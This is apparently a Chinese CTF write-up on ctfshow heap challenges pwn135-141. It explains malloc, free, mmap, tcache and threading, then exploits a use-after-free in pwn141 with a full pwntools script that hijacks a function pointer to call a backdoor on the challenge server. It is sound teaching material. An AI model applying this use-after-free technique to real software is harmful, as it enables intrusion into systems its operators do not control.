Bypass好多都和具体的版本有关,很多限制很大,现在也可能用不了了,所以还是先把堆学起来吧
pwn135

135-140是演示题目阶段,好好理解吧,我还是觉得栈到堆跨度有点大,比0基础到学会栈溢出的跨度还大
保护:



上来是做选择题,其实是为了给我们演示一下这几个函数的作用,让我们好好了解一下

靠输入v1在区分,我们就按照v1的大小来分析吧
首先是v1=1,malloc
1 2 3
| printf("Enter the size to allocate using malloc: "); __isoc99_scanf("%lu", &size); ptr = malloc(size);
|
输入1之后会问我们需要多少size来用malloc,我们输入一个无符号长整形之后就开始ptr=malloc(size)了
这是一个内存分配函数,size就是要分配的字节数,ptr在这边是一个指针变量,主要是接受分配内存的起始地址
注意这个是动态分配的,程序运行的时候决定大小,内存不足的时候会返回NULL,最关键的是这边必须手动free(ptr)释放,否则会引发内存泄露
接下来是v1 = 2,也就是calloc
1 2 3
| printf("Enter the size to allocate using calloc: "); __isoc99_scanf("%lu", &size); ptr = calloc(1uLL, size);
|
相对来说其实差不多,但是calloc接受的是两个参数
第一个参数表示要分配的元素数量,这里是一个元素
第二个参数表示每个元素的大小(字节数),需要从用户输入获取
和malloc主要是区别在于一个是参数数量不一样,另一个是calloc的内存初始化是会自动清零的,而malloc是随机值,分配总量也不一样,calloc分配的是num*size字节,而malloc是size字节
1 2 3
| printf("Enter the size to allocate using realloc: "); __isoc99_scanf("%lu", &size); ptr = realloc(ptr, size);
|
最后是realloc,可以看到也是俩参数,这个函数明显比前边俩复杂不少
首先,这是一个用于重新分配内存的重要函数,第一个参数是指向之前分配的内存块的指针,而第二个参数是新的内存块的大小(字节数)
成功的返回值就是指向重新分配内存的指针,失败了就返回NULL,然后原来的内存块不变
主要有三种情况
起义是缩小内存
1 2 3 4
| // 原始分配100字节 ptr = malloc(100); // 缩小到50字节 ptr = realloc(ptr, 50);
|
一般是原地缩小,保留前边的内容
第二是扩大内存(原地)
1 2
| ptr = malloc(100); ptr = realloc(ptr, 150);
|
同样原地,指针不变
最后是扩大内存(迁移)
1 2
| ptr = malloc(100); ptr = realloc(ptr, 10000);
|
如果后续空间不够的话,会分配到新的大内存块,然后复制原数据到新数据,释放原内存块后返回新地址
注意如果一开始ptr就有内存块,然后在原地又去realloc还失败了的话,原来的指针会被覆盖为NULL,也就是说一开始的内存块在,但现在没有任何指针指向它,也无法访问,无法释放,这也叫内存泄露
大概就这样子了解了一下三个函数的概念,flag很好找的
1 2 3 4 5
| if ( v1 == 4 ) { printf("Here is you want: "); system("cat /ctfshow_flag"); }
|
直接输入4就是了

pwn136

上题讲了malloc,calloc和realloc三种不同的建堆手法,而这一题则变为了释放堆的题目
保护:


发现还是三种,我们来看看具体代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| unsigned __int64 ctfshow() { int v1; // [rsp+Ch] [rbp-24h] BYREF void *ptr; // [rsp+10h] [rbp-20h] void *v3; // [rsp+18h] [rbp-18h] void *v4; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u); v3 = 0LL; v4 = 0LL; ptr = malloc(4uLL); if ( ptr ) { v3 = calloc(1uLL, 4uLL); if ( v3 ) { v4 = realloc(0LL, 4uLL); if ( v4 ) { __isoc99_scanf("%d", &v1); if ( v1 == 2 ) { free(v3); puts("ptr_calloc freed."); return __readfsqword(0x28u) ^ v5; } if ( v1 > 2 ) { if ( v1 == 3 ) { free(v4); puts("ptr_realloc freed."); return __readfsqword(0x28u) ^ v5; } if ( v1 == 4 ) { printf("Here is you want: "); system("cat /ctfshow_flag"); } } else if ( v1 == 1 ) { free(ptr); puts("ptr_malloc freed."); return __readfsqword(0x28u) ^ v5; } puts("Invalid choice."); return __readfsqword(0x28u) ^ v5; } puts("Memory allocation failed for ptr_realloc."); free(ptr); free(v3); } else { puts("Memory allocation failed for ptr_calloc."); free(ptr); } } else { puts("Memory allocation failed for ptr_malloc."); } return __readfsqword(0x28u) ^ v5; }
|
在一个个细看前不难发现,其实每一种释放的都是用的free这边
free的基本操作是先检查指针是不是NULL,是的话就直接返回,不是再继续
接着通过chunk头部的元数据来得到chunk大小和状态,最后根据chunk大小和状态将其放入适当的bin,或者和相邻的空闲chunk合并之后放入unsorted bin

free操作会通过PREV_INUSE标志和size字段遍历来检查前一个和后一个chunk是否空闲,空闲的话就合并为更大的空闲chunk
一个个看吧,首先就是ptr_malloc
1 2
| ptr = malloc(4uLL); free(ptr);
|
看上去很简单,从底层来看,假设ptr指向了一个4字节用户内存的chunk,大小为32字节。由于32字节是属于fast bin小内存的,所以释放之后该chunk会被插入fast bin对应索引的链表头部,其fd指针被设置为原链表头,链表头指向该chunk
堆的状态变化是fast bin里又多了一个空闲chunk,程序其他部分仍持有v3和v4的指针,它们指向的chunk仍处于已分配的状态
后边是ptr_calloc
1 2
| v3 = calloc(1uLL, 4uLL); free(v3);
|
分配一个4字节的元素,后边free
这边和之前的malloc完全一样,因为calloc本身就和malloc产生的chunk结果无差异
最后是realloc
1 2
| v4 = realloc(0LL, 4uLL); free(v4);
|
之前分配块内存的指针在0,在这边又分配了一个新的4字节chunk
其实这边是realloc(NULL,4),本质上就和malloc(4)无区别了,所以一样的,都是插入fast bin链表而已
如果这三个chunk大小都一样,会在同一个fast bin的,按释放顺序从头部一个个插入
若三个分配连续且无间隙,堆内存可能布局如下(从低地址到高地址):
1
| chunk_ptr (malloc) -> chunk_v3 (calloc) -> chunk_v4 (realloc) -> top chunk
|
释放了一个chunk之后,假设先释放了ptr,那么其chunk被标记为空闲,fd指向了fast bin链表,但是v3和v4还是PREV_INUSE=1,即不会合并
释放了两个相邻chunk之后,由于fast bin不合并,所以其保持独立,这可能导致碎片化但速度更快
所以其实这一题三个free没啥区别啊
最后还是跟上一题一样直接按4出flag

pwn137

怎么全是外文
保护:

介绍sbrk()和brk()两个函数的题目
1
| void *sbrk(intptr_t increment);
|
sbrk接受一个参数,increment>0就增加堆大小,<0就减少堆大小,=0就返回当前break位置,错误的时候返回(void *)-1
本质来说,就是通过相对偏移量在调正堆顶指针,然后返回调整之前的堆顶地址
而brk
参数是要设置的新的break地址,也就是结束地址,成功就返回0,失败返回1
简而言之,brk设置堆顶指针,sbrk调整堆顶指针
1 2
| void *sbrk(intptr_t increment); int brk(void *addr);
|

这边可以看到试完就出flag了,所以flag不是重点,我们主要是尝试两个函数的调用反应

其实跟我们输入的没关系,就是给我们看了看,一开始获取当前程序的中断点位置,之后加了4096,也就是一页,最后又恢复了原始值,所以可以看到地址又回来了
pwn138

私有匿名映射示例(机翻的
保护:


明显这一期走入函数说的是mmap和munmap
先来mmap
1
| void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
|
mmap的参数不少,我们就拿这边的举个例子
1
| addr = mmap(0LL, 0x21000uLL, 3, 34, -1, 0LL);
|
首先是addr,这是让内核自动选择映射地址,之后是length,表示长度,21000h也就是33页,prot3就是权限值可读可写
flags是私有匿名映射,MAP_PRIVATE (0x02) | MAP_ANONYMOUS (0x20)
fd为文件描述符,这边-1意味着不适用文件描述符,最后文件偏移量为0
简单来说,mmap就是将一个文件或者其他对象映射进内存,文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不适用的空间就清零
其必须以PAGE_SIZE为单位进行映射,而内存只能以页为单位进行映射,如果不是整数倍,那就强行整数倍
其使得进程之间通过映射同一个普通文件实现共享内存
https://www.cnblogs.com/alan666/p/8311994.html

而munmap则是这样子用的
1
| int munmap(void *addr, size_t length);
|
参数小不少,也很好理解了,取消addr指向的映射内存起始地址,length是打算取消的内存大小,成功返回0,否则返回-1

mmap的在stack和heap中间,有种大内存分配的感觉,不和堆内存干扰混合,而且可以单独用munmap释放,大块,独立,安全性高

当然了,题目还是以演示为主
pwn139

保护:

说是为我们演示了flag写入堆并输出内容的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| void flag_demo() { __int64 i; // [rsp+0h] [rbp-20h] FILE *stream; // [rsp+8h] [rbp-18h] __int64 size; // [rsp+10h] [rbp-10h] char *ptr; // [rsp+18h] [rbp-8h]
stream = fopen("/ctfshow_flag", "rb"); if ( stream ) { fseek(stream, 0LL, 2); size = ftell(stream); fseek(stream, 0LL, 0); puts("Allocate heap memory:"); sleep(3u); ptr = (char *)malloc(size); if ( ptr ) { sleep(1u); puts("Read ctfshow_flag"); sleep(3u); if ( fread(ptr, 1uLL, size, stream) == size ) { fclose(stream); puts("Here is your flag:"); for ( i = 0LL; i < size; ++i ) putchar(ptr[i]); sleep(1u); puts("free"); free(ptr); } else { perror("Failed to read file"); fclose(stream); free(ptr); } } else { perror("Memory allocation failed"); fclose(stream); } } else { perror("Failed to open file"); } }
|
我们好好研究一下
一开始是fseek
1
| int fseek(FILE *stream, long int offset, int whence)
|
第一个参数是指向FILE对象的指针,然后是偏移量,最后是开始加偏移的位置
最后这一个一般都指定为下边三个之一

所以这边其实一开始初始化完毕之后开始获取了文件的大小,以二进制只读形态打开了flag文件
1 2 3 4 5
| if ( stream ) { fseek(stream, 0LL, 2); // 移动到文件末尾 (SEEK_END = 2) size = ftell(stream); // 获取当前偏移量,即文件大小 fseek(stream, 0LL, 0); // 移回文件开头 (SEEK_SET = 0)
|
随后fseek先到文件末尾,再size获取偏移量,又移回文件开头
然后像printf说的一样,开始分配动态堆内存了,分配了和文件大小一样的内存大小
1
| ptr = (char *)malloc(size);
|
创建成功之后就可以读取文件内容了
1
| if ( fread(ptr, 1uLL, size, stream) == size )
|
从文件流读size个字节到ptr指向的内存,还检查了一下是否成功读取
1 2 3 4 5 6 7 8 9
| { fclose(stream); // 关闭文件 puts("Here is your flag:"); // 输出提示 for ( i = 0LL; i < size; ++i ) // 遍历所有字节 putchar(ptr[i]); // 逐个字符输出 sleep(1u); puts("free"); // 输出释放提示 free(ptr); // 释放堆内存 }
|

成功读取就可以关闭文件了,之后遍历所有字节一个个读取输出,size大小即可
之后这边还演示了释放内存的free函数
大概还是很清晰的,也没什么知识点,主要就演示,全部按回车就得到flag了

pwn140

保护:


思路还是很简单的,其实就是在给我们演示多线程
1 2
| pthread_t newthread; // [rsp+10h] [rbp-20h] BYREF void *thread_return; // [rsp+18h] [rbp-18h] BYREF
|
开局定义了线程ID和线程返回值

可以看到一开始是没有堆的
之后就是malloc建堆,然后可以看到堆被分配了,之后释放内存,可以再看看堆释放完的样子

第一个回车之后,堆被malloc建成,主要是中间那一块,可以看到下边是Top chunk,空的

第二个回车之后,free了malloc的部分,这部分内存被存在缓存tcache了,被标记为free,fd指向下一个块,但如果再次分配相同大小的优先从这选(注意这边说的是同一线程再次分配的时候,线程之间是不共享TCache的)
最后开始又创了子线程
两个函数比较重要,首先是pthread_create
1
| pthread_create(&newthread, 0LL, threadFunc, 0LL)
|
&newthread是存储新线程的ID,0LL表示线程属性默认
threadFunc是接下来要执行的函数,0LL是参数NULL
其次是pthread_join,第一个参数是要等待的线程ID,第二个参数的存储子线程的返回值
等待子线程结束,主要是堵在这边

可以看到又malloc了一次,根据我们分析的,这个不会从主线程的tcache里读了,会另外开辟个


不同版本还不一样,不过大差不差
最后就是成功又free完然后跳flag了,没什么含义

pwn141

保护:

从头来看,上来先呈现了一个菜单,大概介绍了这个程序的功能


可以看到main函数是一个初始化和菜单选择,4就直接exit,然后123都跟着菜单来,我们一个个跟着看
首先是1,也就是Add note

可以看到这边进行了两次malloc
1 2 3 4 5 6 7 8
| *((_DWORD *)¬elist + i) = malloc(8u); **((_DWORD **)¬elist + i) = print_note_content;
read(0, buf, 8u); size = atoi(buf); v0 = *((_DWORD *)¬elist + i); *(_DWORD *)(v0 + 4) = malloc(size); read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size);
|
第一次申请的chunk0申请了8个字节,由于是32位系统,指针4字节,这个申请的8字节就拿来容纳两个指针
1 2 3 4 5
| +----------------------+ ← 元数据块起始地址 | 前4字节:函数指针 | ← (*((_DWORD *)¬elist + i)) +----------------------+ | 后4字节:数据缓冲区指针 | ← (*((_DWORD *)¬elist + i) + 4) +----------------------+
|
之后读取我们输入的size,在数据缓冲区指针处继续扩大,利用malloc函数在这边继续分配数据缓冲区
从功能来看,前四字节后边接受的是print_note_content的函数指针,作为一个输出作用的函数

而后一个申请的数据缓冲区则是拿来存储读入的数据
接下来add就没什么东西了,来看=2的delete情况

可以看到delete前有对chunk数量进行审查,之后第二个if开始了free
但是这边只free了chunk,没有将指针也进行置空,这边free实际上是把原来的数据放到了适当的bin,其内容并未被删除,只是使用权被交还,属于一块无主之地,而且这边指针没置空,因此我们仍然拥有访问这个无主之地的门牌号,拿旧的指针就能进行篡改、访问、从而也就是二次利用了
这就是UAF漏洞——Use after free
修复也很简单,没置空嘛,置空就好了
1 2 3 4
| free(*((void **)¬elist + v1));
*((void **)¬elist + v1) = NULL; 汇编大致 --> mov dword ptr [eax+edx*4], 0
|
在原来的基础上增加一行对于指针的置空即可
1 2 3
| mov eax, offset notelist ; 加载notelist的地址到eax mov edx, [ebp+var_14] ; 加载索引v1到edx mov dword ptr [eax+edx*4], 0 ; 将notelist[v1]设为NULL
|
差不多13字节的修改(具体还是要看架构不同,字节数也不一样,汇编也不一样,具体情况具体看)
好delete看完了,这边是UAF漏洞的主战场,继续往后看=3的print

前边检测是一样的,重点在这句话
1
| (**((void (__cdecl ***)(_DWORD))¬elist + v1))(*((_DWORD *)¬elist + v1));
|
即将chunk2的内容作为参数,通过chunk1的输出函数执行
三个分析完之后又可以发现本程序具有后门函数

backdoor = 0x8049684
至此我们明白了,我们可以利用UAF漏洞,将chunk1存放的输出函数地址改为后门地址,从而触发后门,得到flag
但是我们只能往chunk2写东西啊,这个chunk1不是我们可以说改就改的
这就是本题的重点了,我们要想办法修改,这边利用了之前说过的tcache bin的特性,即在申请chunk的时候会先从tcache bin进行查看,如果有大小刚好相等的chunk就拿来用,我们可以动调看看这个函数在运行过程中的heap变化以及tcache变化
做这种堆题目的时候有很多的功能菜单,我们可以将其整理为函数方便后边使用,至于菜单,可以写在不同函数内部,也可以直接单独写一个menu功能函数,是一样的,出于清晰角度,我们还是分开来写一个菜单函数好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(arch='i386',os='linux',log_level='debug') io = process('./pwn141') # io = remote("pwn.challenge.ctf.show",28234)
def menu(choice): io.sendlineafter(b'choice :',str(choice))
def add_note(size,data): menu(1) io.sendlineafter(b'Note size :',str(size)) io.sendlineafter(b'Content :',data)
def del_note(index): menu(2) io.sendlineafter(b'Index :',str(index))
def print_note(index): menu(3) io.sendlineafter(b'Index :',str(index))
|
像这样子把几个函数写完方便我们后边直接用,接下来来基于此动调看看heap
1 2 3
| add_note(0x10,b'aaaa') gdb.attach(io) io.interactive()
|

可以看到这是两次add之后的heap结构,按道理第二个,第四个chunk那边就是可以看到我们写入内容的地方

可以看到我们写的内容很清楚在这边

可以看到print_note_content的使用情况
继续看看free完之后的heap情况
1 2 3 4 5 6 7 8 9
| add_note(0x10,b'aaaa') add_note(0x10,b'bbbb') del_note(0) del_note(1) gdb.attach(io) l = input() add_note(0x8,p32(0x8049684)) gdb.attach(io) io.interactive()
|

这边提示放到tcache了,先进后出

如果这个时候我们向程序要两个0x10的chunk,就会拿这俩
而且由于特性,是后释放的先被申请,所以下边那个chunk是chunk1,上边那个是chunk2
所以如果我们现在执行add_note(0x8,p32(0x8049684))


可以发现是上边那个chunk0里存在着我们塞进去的后门
这意味着我们成功劫持第一组的chunk0的print函数
总结来说,就是我们一开始add两次释放两次,得到了两个tcache,之后再一次分配的时候由于LIFO分配顺序,反着读了,从而我们第三次把写入的地址参数作为指针填在里边,执行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 初始状态: notelist[0] -> 结构体0 -> 内容0 notelist[1] -> 结构体1 -> 内容1
释放后: fastbin: 结构体1 -> 结构体0 -> NULL
重新分配: 新结构体 = 结构体1(从fastbin头部取) 新内容 = 结构体0(从fastbin取下一个)
结果: notelist[0] 仍指向 结构体0(现在被用作内容chunk) 写入数据到新内容 = 覆盖结构体0的函数指针
|
system cat了,之后调用一次print即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context(arch='i386',os='linux',log_level='debug') # io = process('./pwn141') io = remote("pwn.challenge.ctf.show",28234)
def menu(choice): io.sendlineafter(b'choice :',str(choice))
def add_note(size,data): menu(1) io.sendlineafter(b'Note size :',str(size)) io.sendlineafter(b'Content :',data)
def del_note(index): menu(2) io.sendlineafter(b'Index :',str(index))
def print_note(index): menu(3) io.sendlineafter(b'Index :',str(index))
add_note(0x10,b'aaaa') add_note(0x10,b'bbbb') del_note(0) del_note(1) add_note(0x8,p32(0x8049684)) sleep(0.5) print_note(0) io.interactive()
|

成功得到flag
pwn142

保护:
